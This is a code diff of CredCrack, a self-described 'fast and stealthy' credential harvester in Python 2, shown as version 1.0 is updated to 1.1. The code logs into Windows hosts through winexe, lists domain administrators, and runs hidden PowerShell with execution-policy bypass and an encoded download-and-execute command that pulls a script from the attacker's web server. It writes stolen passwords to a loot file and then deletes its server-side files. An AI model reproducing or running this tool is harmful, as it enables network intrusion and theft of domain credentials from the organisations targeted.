1
- #!/usr/bin/python
1
+ #!/usr/bin/env python2
2
2
3
3
# CredCrack - A fast and stealthy credential harvester
4
4
# This script harvests credentials for any given IP(s) and
22
22
# Author: Jonathan Broche
23
23
# Email: jb@gojhonny.com
24
24
# Twitter: @g0jhonny
25
- # Version: 1.0
26
- # Date: 2015-08-13
25
+ # Version: 1.1
26
+ # Date: 2015-08-26
27
27
28
28
import subprocess , os , argparse , time , datetime , socket , base64 , threading , Queue , hashlib , binascii , signal , sys , getpass
29
29
from shlex import split
@@ -137,11 +137,11 @@ def enum_shares(q, username, password, domain):
137
137
if 'os=' in share .lower ():
138
138
os = share .split (']' )[1 ][5 :] #operating system
139
139
else :
140
- if "Connection to" in share or "NetBIOS" in share or " None" in share or "------" in share : #filter bad lines
140
+ if any ( badline in share for badline in [ "Connection to" , "NetBIOS" , " None", "------" ]) : #filter bad lines
141
141
pass
142
142
else :
143
143
for item in share .split (' ' ):
144
- if 'Printer' not in item or 'IPC' not in item and '' not in item : #no printer or ipc shares
144
+ if any ( badshare in share for badshare in [ "Printer" , "IPC" , "" ]) : #filter printer & ipc shares
145
145
if 'Disk' in item :
146
146
es = ' ' .join (share .split (' ' )[:share .split (' ' ).index (item )]).strip ()
147
147
if es not in shares :
@@ -177,23 +177,27 @@ def get_das(rhost, username, password, domain):
177
177
try :
178
178
print "{}[*]{} Querying domain admin group from {}" .format (colors .blue , colors .normal , rhost .rstrip ())
179
179
process = subprocess .Popen (split ("winexe --system //{} -U {}/{}%{} 'cmd /c net group \" Domain Admins\" /domain'" .format (rhost , domain , username , password )), stderr = subprocess .PIPE , stdout = subprocess .PIPE )
180
- da_output = process .stdout .read ()
180
+ output = process .stdout .read ()
181
181
error = process .stderr .read ()
182
182
183
- if error and "NT_STATUS_LOGON_FAILURE" in error :
184
- return "NT_STATUS_LOGON_FAILURE"
183
+ if any ( err in error for err in [ "NT_STATUS_LOGON_FAILURE" , "NT_STATUS_ACCOUNT_LOCKED_OUT" ]) :
184
+ raise LoginFailure ( error . strip ())
185
185
else :
186
- for line in da_output .split ('\n ' )[8 :]:
187
- if "The command completed" in line :
188
- pass
189
- else :
190
- for da in line .strip ().split ():
191
- if da :
192
- das .append (da )
193
- return das
186
+ da_output = output .replace ("The command completed successfully." ,"" ).split ()[output .split ().index ("Members" )+ 2 :]
187
+ if da_output :
188
+ for da in da_output :
189
+ if da :
190
+ das .append (da .strip ())
191
+ return das
194
192
193
+ except LoginFailure as e :
194
+ print "{}[!]{} {}" .format (colors .red , colors .normal , e )
195
+ sys .exit (os .EX_OSERR )
195
196
except Exception as e :
196
- print "{}[!]{} Unable to reach to {}" .format (colors .red , colors .normal , rhost )
197
+ if "'Members' is not in list" in e :
198
+ print "{}[!]{} User is not an admin on {} or the system is not joined to a domain" .format (colors .red , colors .normal , rhost )
199
+ else :
200
+ print "{}[!]{} Failed to obtain domain admin list from {}: {}" .format (colors .red , colors .normal , rhost , e )
197
201
return False
198
202
199
203
#----------------------------------------#
@@ -213,9 +217,11 @@ def harvest(q, username, password, domain, lhost):
213
217
print "{}[*]{} Harvesting credentials from {}" .format (colors .blue , colors .normal , rhost )
214
218
harvested_hosts .append (rhost )
215
219
encoded_cmd = base64 .b64encode ("IEX (New-Object Net.WebClient).DownloadString('http://{}/fun.ps1')" .format (lhost ).encode ('utf_16_le' ))
216
- process = subprocess .Popen (split ("winexe --system //{} -U {}/{}%{} 'cmd /c echo . | powershell.exe -Version 2 -w hidden -Exec Bypass -noni -nop -enc {}'" .format (rhost , domain , username , password , encoded_cmd )), stderr = subprocess .STDOUT , stdout = subprocess .PIPE )
220
+ process = subprocess .Popen (split ("winexe --system //{} -U {}/{}%{} 'cmd /c echo . | powershell.exe -w hidden -Exec Bypass -noni -nop -enc {}'" .format (rhost , domain , username , password , encoded_cmd )), stderr = subprocess .PIPE , stdout = subprocess .PIPE )
221
+ error = process .stderr .read ()
222
+ if error and "NT_STATUS_ACCESS_DENIED" in error : raise Exception ("NT_STATUS_ACCESS_DENIED" )
217
223
218
- timeout = 15
224
+ timeout = 20
219
225
while timeout > 0 :
220
226
status = process .poll ()
221
227
if status is None :
@@ -229,11 +235,11 @@ def harvest(q, username, password, domain, lhost):
229
235
process .terminate ()
230
236
q .task_done ()
231
237
232
- except subprocess .CalledProcessError as e :
233
- print "{}[!]{} Error harvesting credentials from {}" .format (colors .red , colors .normal , rhost )
234
- q .task_done ()
235
238
except OSError :
236
- pass
239
+ pass
240
+ except Exception as e :
241
+ print "{}[!]{} Error harvesting credentials from {}: {}" .format (colors .red , colors .normal , rhost , e )
242
+ q .task_done ()
237
243
238
244
#----------------------------------------#
239
245
# PARSE LOOT #
@@ -281,7 +287,7 @@ def output(credentials, das):
281
287
with open ('/tmp/CCloot/l00t' , 'w' ) as f :
282
288
f .write ("\n " + "-" * 69 + "\n " + " CredCrack Loot \n " + "-" * 69 + "\n \n " )
283
289
for cred in credentials :
284
- if cred [2 ] in das :
290
+ if cred [2 ] in das and cred [ 2 ] != "Administrator" :
285
291
#d = domain, #u = username, #p = password
286
292
print "{y}[*] Host: {r} Domain: {d} User: {u} Password: {p}{n}" .format (y = colors .yellow , r = cred [0 ], d = cred [1 ], u = cred [2 ], p = cred [3 ], n = colors .normal )
287
293
f .write ("[*] Host: {r} Domain: {d} User: {u} Password: {p} {y}-- Domain Admin{n}\n " .format (r = cred [0 ], d = cred [1 ], u = cred [2 ], p = cred [3 ], y = colors .yellow , n = colors .normal ))
@@ -303,7 +309,7 @@ def output(credentials, das):
303
309
#----------------------------------------#
304
310
305
311
def clean_up (flag , stime ):
306
- print "{}[*]{} Cleaning up" .format (colors .blue , colors .normal )
312
+ print "\n {}[*]{} Cleaning up" .format (colors .blue , colors .normal )
307
313
try :
308
314
if flag : #script completed successfully
309
315
os .remove (os .path .join ('/var/www' , 'creds.php' ))
@@ -324,6 +330,8 @@ def clean_up(flag, stime):
324
330
subprocess .Popen (split ('service apache2 stop' ), stderr = subprocess .STDOUT , stdout = subprocess .PIPE )
325
331
if os .path .exists ('/tmp/CCloot' ):
326
332
rmtree ('/tmp/CCloot' )
333
+ if os .path .exists ('/var/www/fun.ps1' ): os .remove ('/var/www/fun.ps1' )
334
+ if os .path .exists ('/var/www/creds.php' ): os .remove ('/var/www/creds.php' )
327
335
except Exception as e :
328
336
print "{}[!]{} Error cleaning up. {}" .format (colors .red , colors .normal , e )
329
337
@@ -380,17 +388,13 @@ def main():
380
388
if args .rhost :
381
389
if validate (args .rhost ):
382
390
das = get_das (args .rhost , args .user , args .passwd , args .domain )
383
- if "NT_STATUS_LOGON_FAILURE" in das :
384
- raise LoginFailure (args .rhost )
385
391
q .put (args .rhost )
386
392
if args .file :
387
393
with open (args .file ) as f :
388
394
lines = [ip .strip () for ip in f .readlines () if ip .strip () and validate (ip .strip ())]
389
395
for line in lines :
390
396
das = get_das (line , args .user , args .passwd , args .domain )
391
- if "NT_STATUS_LOGON_FAILURE" in das :
392
- raise LoginFailure (line )
393
- elif not das : #put the host on a bad list
397
+ if not das : #put the host on a bad list
394
398
badhost .append (lines [lines .index (line )])
395
399
else : #we got our domain admin list
396
400
if badhost : #if badhosts, filter before queue
@@ -417,14 +421,10 @@ def main():
417
421
print "{}[!]{} Provide the IP address of the local host [-l]\n " .format (colors .red , colors .normal )
418
422
419
423
except (KeyboardInterrupt , SystemExit ):
420
- print "\n {}[!]{} Ctrl-C detected...shutting down " .format (colors .yellow , colors .normal )
424
+ print "\n {}[!]{} Terminating script " .format (colors .yellow , colors .normal )
421
425
clean_up (False , stime )
422
426
except IOError :
423
427
print "{}[!]{} File: {} does not exist." .format (colors .red , colors .normal , args .file )
424
428
clean_up (False , stime )
425
- except LoginFailure as e :
426
- print "{}[!]{} Login Failure on {}, ensure you have entered the correct credentials\n " .format (colors .red , colors .normal , e )
427
- clean_up (False , stime )
428
-
429
429
if __name__ == '__main__' :
430
430
main ()
0 commit comments